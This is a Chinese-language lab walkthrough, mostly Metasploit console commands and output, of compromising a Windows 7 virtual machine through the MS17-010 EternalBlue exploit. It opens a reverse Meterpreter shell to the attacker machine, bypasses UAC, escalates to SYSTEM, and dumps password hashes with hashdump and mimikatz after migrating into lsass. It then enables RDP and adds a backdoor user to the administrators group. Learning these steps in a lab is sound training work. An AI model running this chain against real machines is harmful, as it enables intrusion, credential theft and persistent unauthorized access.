MSF渗透永恒之蓝

MSF

kali 192.168.44.131
win7 192.168.44.137

#进入msf

msfconsole

搜索永恒之蓝

$search ms17-010


Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

$use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t
                                             arget machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targe
                                             t machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines
                                             .


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.44.131   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

#设置受害机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.44.137
rhost => 192.168.44.137

#设置攻击机IP

msf6 exploit(multi/handler) > set lhost 192.168.44.131
lhost => 192.168.44.131

#设置攻击机端口 随意设置

msf6 exploit(multi/handler) > set lport 4444
lport => 4444

#监听

msf6 exploit(multi/handler) > run
[] Started reverse TCP handler on 192.168.44.131:4444
[] Sending stage (175174 bytes) to 192.168.44.137
[*] Meterpreter session 9 opened (192.168.44.131:4444 -> 192.168.44.137:51323 ) at 2022-05-10 00:12:08 -0400

#获取到受害机 挂载在后台

meterpreter > background
[*] Backgrounding session 9…

## 3. 提权

#绕过uac 使用bypassuas

msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac
[*] Using configured payload windows/meterpreter/reverse_tcp

#设置会话

msf6 exploit(windows/local/bypassuac) > set session 9
session => 9

#运行绕过

msf6 exploit(windows/local/bypassuac) > run

[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[] Started reverse TCP handler on 192.168.44.131:4444
[] UAC is Enabled, checking level…
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing…
[+] Part of Administrators group! Continuing…
[] Uploaded the agent to the filesystem…
[] Uploading the bypass UAC executable to the filesystem…
[] Meterpreter stager executable 73802 bytes long being uploaded…
[] Sending stage (175174 bytes) to 192.168.44.137
[*] Meterpreter session 10 opened (192.168.44.131:4444 -> 192.168.44.137:52055 ) at 2022-05-10 00:12:59 -0400

#绕过完成 获取当前用户名

meterpreter > getuid
Server username: root-PC\root

#提权

meterpreter > getsystem
…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

#获取当前用户名

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

#获取受害机的密码的哈希值 md5加密 第一种获取明文密码的方式

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value […]
[] Obtaining the boot key…
[] Calculating the hboot key using SYSKEY 7481dac7418852c914b1f37ca9f2b1c6…
[] Obtaining the user list and keys…
[] Decrypting user keys…
[*] Dumping password hints…

No users with password hints on this system

[*] Dumping password hashes…

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
root:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
001:1001:aad3b435b51404eeaad3b435b51404ee:3ef260ff1958f87ffd63b7d64705b396:::
003:1002:aad3b435b51404eeaad3b435b51404ee:cf31750ebd133c6882c95af971e62a7c:::

#导出受害机的密码哈希值 第一种获取明文密码的方式

meterpreter > run windows/gather/smart_hashdump

[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[] Running module against ROOT-PC
[] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[] /root/.msf4/loot/20220510003633_default_192.168.44.137_windows.hashes_755360.txt
[] Dumping password hashes…
[] Running as SYSTEM extracting hashes from registry
[] Obtaining the boot key…
[] Calculating the hboot key using SYSKEY 7481dac7418852c914b1f37ca9f2b1c6…
[] Obtaining the user list and keys…
[] Decrypting user keys…
[] Dumping password hints…
[] No users with password hints on this system
[] Dumping password hashes…
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] root:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] 001:1001:aad3b435b51404eeaad3b435b51404ee:3ef260ff1958f87ffd63b7d64705b396:::
[+] 003:1002:aad3b435b51404eeaad3b435b51404ee:cf31750ebd133c6882c95af971e62a7c:::

#获取账户名明文密码 加载kiwi模块

meterpreter > load kiwi
Loading extension kiwi…
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. “A La Vie, A L’Amour” - (oe.eo)

/ \ ## /*** Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )

\ / ## > http://blog.gentilkiwi.com/mimikatz

‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.

#kiwi不能在x64运行 ==必须要内存迁移==

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials

meterpreter > kiwi_cmd sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

meterpreter > ps

Process List

PID PPID Name Arch Session User Path

---

0 0 [System Process]
4 0 System x64 0
244 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
292 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
336 320 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
388 320 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
396 380 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
432 380 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
460 396 conhost.exe x64 1 root-PC\root C:\Windows\System32\conhost.exe
492 388 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
500 388 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
508 388 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
604 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
680 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
764 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
804 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
856 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1000 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1104 804 dwm.exe x64 1 root-PC\root C:\Windows\System32\dwm.exe
1132 1092 explorer.exe x64 1 root-PC\root C:\Windows\explorer.exe
1172 492 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1192 492 taskhost.exe x64 1 root-PC\root C:\Windows\System32\taskhost.exe
1280 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1428 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1456 396 conhost.exe x64 1 root-PC\root C:\Windows\System32\conhost.exe
1496 1132 vm3dservice.exe x64 1 root-PC\root C:\Windows\System32\vm3dservice.exe
1504 1132 vmtoolsd.exe x64 1 root-PC\root C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1712 1528 jusched.exe x86 1 root-PC\root C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
1728 1528 Kernel32.exe x86 1 root-PC\root C:\Windows\SysWOW64\Kernel32.exe
1820 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1844 492 nessus-service.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Tenable\Nessus\nessus-service.exe
1868 492 VGAuthService.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
1876 1844 nessusd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Tenable\Nessus\nessusd.exe
1912 492 vmtoolsd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2016 776 PDdXBksB.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Temp\PDdXBksB.exe
2040 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2056 1132 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2060 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2068 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2128 604 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
2212 492 dllhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\dllhost.exe
2360 492 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\msdtc.exe
2572 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
2576 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2604 492 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
2744 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
2848 4300 cmd.exe x86 1 root-PC\root C:\Windows\SysWOW64\cmd.exe
3120 1132 shell.exe x86 1 root-PC\root C:\Users\root\Desktop\shell.exe
3136 4328 httpd.exe x86 1 root-PC\root C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
3452 396 conhost.exe x64 1 root-PC\root C:\Windows\System32\conhost.exe
3740 396 conhost.exe x64 1 root-PC\root C:\Windows\System32\conhost.exe
3804 1132 firefox.exe x86 1 root-PC\root C:\Users\root\Desktop\Firefox 49.0.1 渗透便携版 90SEC beta6\Firefox\firefox\firefox.exe
4028 2056 chrome.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Google\Chrome\Application\chrome.exe
4328 5220 httpd.exe x86 1 root-PC\root C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
4436 5736 wemeetapp.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\wemeetapp.exe
4688 5220 mysqld.exe x86 1 root-PC\root C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
4700 5328 java.exe x64 1 root-PC\root C:\Program Files (x86)\java\bin\java.exe
4756 2684 ggjfmL.exe x86 1 root-PC\root C:\Users\root\AppData\Local\Temp\ggjfmL.exe
4976 5800 TBSWebRenderer.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\3.7.9.426\TBSWebRenderer.exe
5060 5800 TBSWebRenderer.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\3.7.9.426\TBSWebRenderer.exe
5220 5180 phpStudy.exe x86 1 root-PC\root C:\phpStudy\phpStudy.exe
5328 5604 java.exe x64 1 root-PC\root C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_1081258\java.exe
5604 4304 cmd.exe x64 1 root-PC\root C:\Windows\System32\cmd.exe
5736 5668 wemeetapp.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\wemeetapp.exe
5800 5736 wemeetapp.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\wemeetapp.exe
6084 5800 wemeetapp.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\wemeetapp.exe
6092 5800 wemeetapp.exe x86 1 root-PC\root C:\Program Files (x86)\Tencent\WeMeet\wemeetapp.exe

#lsass.exe 的内存迁移

meterpreter > migrate 500
[] Migrating from 4756 to 500…
[] Migration completed successfully.

#第二种获取明文密码

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials

Username Domain LM NTLM SHA1

---

root root-PC aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 da39a3ee5e6b4b0d3255bfef95601890afd80709

wdigest credentials

Username Domain Password

---

(null) (null) (null)
ROOT-PC$ WORKGROUP (null)
root root-PC (null)

tspkg credentials

Username Domain Password

---

root root-PC (null)

kerberos credentials

Username Domain Password

---

(null) (null) (null)
root root-PC (null)
root-pc$ WORKGROUP (null)

#第三种明文获取办法

meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 85913 (00000000:00014f99)
Session : Interactive from 1
User Name : root
Domain : root-PC
Logon Server : ROOT-PC
Logon Time : 2022/5/9 17:17:02
SID : S-1-5-21-2889893998-2302651844-2107436998-1000
msv :
[00000003] Primary
* Username : root
* Domain : root-PC
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
* Username : root
* Domain : root-PC
* Password : (null)
wdigest :
* Username : root
* Domain : root-PC
* Password : (null)
kerberos :
* Username : root
* Domain : root-PC
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 85874 (00000000:00014f72)
Session : Interactive from 1
User Name : root
Domain : root-PC
Logon Server : ROOT-PC
Logon Time : 2022/5/9 17:17:02
SID : S-1-5-21-2889893998-2302651844-2107436998-1000
msv :
[00000003] Primary
* Username : root
* Domain : root-PC
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
* Username : root
* Domain : root-PC
* Password : (null)
wdigest :
* Username : root
* Domain : root-PC
* Password : (null)
kerberos :
* Username : root
* Domain : root-PC
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/5/9 17:17:02
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : ROOT-PC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/5/9 17:17:02
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : ROOT-PC$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : root-pc$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 46650 (00000000:0000b63a)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/5/9 17:17:01
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-PC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/5/9 17:17:01
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : ROOT-PC$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : root-pc$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

## 4. 远程连接
       
#开启远程登录

meterpreter > run post/windows/manage/enable_rdp

[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: extapi_adsi_domain_query, extapi_clipboard_get_data, extapi_clipboard_monitor_dump, extapi_clipboard_monitor_pause, extapi_clipboard_monitor_purge, extapi_clipboard_monitor_resume, extapi_clipboard_monitor_start, extapi_clipboard_monitor_stop, extapi_clipboard_set_data, extapi_ntds_parse, extapi_pageant_send_query, extapi_service_control, extapi_service_enum, extapi_service_query, extapi_window_enum, extapi_wmi_query, stdapi_sys_process_set_term_size
[] Enabling Remote Desktop
[] RDP is already enabled
[] Setting Terminal Services service startup mode
[] Terminal Services service is already set to auto
[] Opening port in local firewall if necessary
[] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20220510004616_default_192.168.44.137_host.windows.cle_560551.txt

#进入受害机shell

meterpreter > shell
Process 1484 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� © 2009 Microsoft Corporation����������Ȩ����

#转换编码 因为windows和linux 编码不同导致的编码

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

#查看当前的服务状态

C:\Windows\system32>net start
net start
These Windows services are started:

Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Certificate Propagation
COM+ Event System
COM+ System Application
Computer Browser
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Resource Publication
Group Policy Client
IKE and AuthIP IPsec Keying Modules
IP Helper
IPsec Policy Agent
Multimedia Class Scheduler
Network Connections
Network List Service
Network Location Awareness
Network Store Interface Service
Offline Files
Plug and Play
Power
Print Spooler
Program Compatibility Assistant Service
Remote Desktop Configuration
Remote Desktop Services
Remote Desktop Services UserMode Port Redirector
Remote Procedure Call (RPC)
RPC Endpoint Mapper
Secondary Logon
Security Accounts Manager
Security Center
Server
Shell Hardware Detection
SSDP Discovery
System Event Notification Service
Task Scheduler
TCP/IP NetBIOS Helper
Tenable Nessus
Themes
User Profile Service
VMware Alias Manager and Ticket Service
VMware Tools
Windows Audio
Windows Audio Endpoint Builder
Windows Defender
Windows Event Log
Windows Firewall
Windows Font Cache Service
Windows Management Instrumentation
Windows Search
Windows Update
Workstation

The command completed successfully.

#将创建的用户添加到administrators的用户组 达到远程登录的原因

C:\Windows\system32>net localgroup administrators 001 /add
net localgroup administrators 001 /add
The command completed successfully.

## 演示

rdesktop 192.168.44.137 -u 001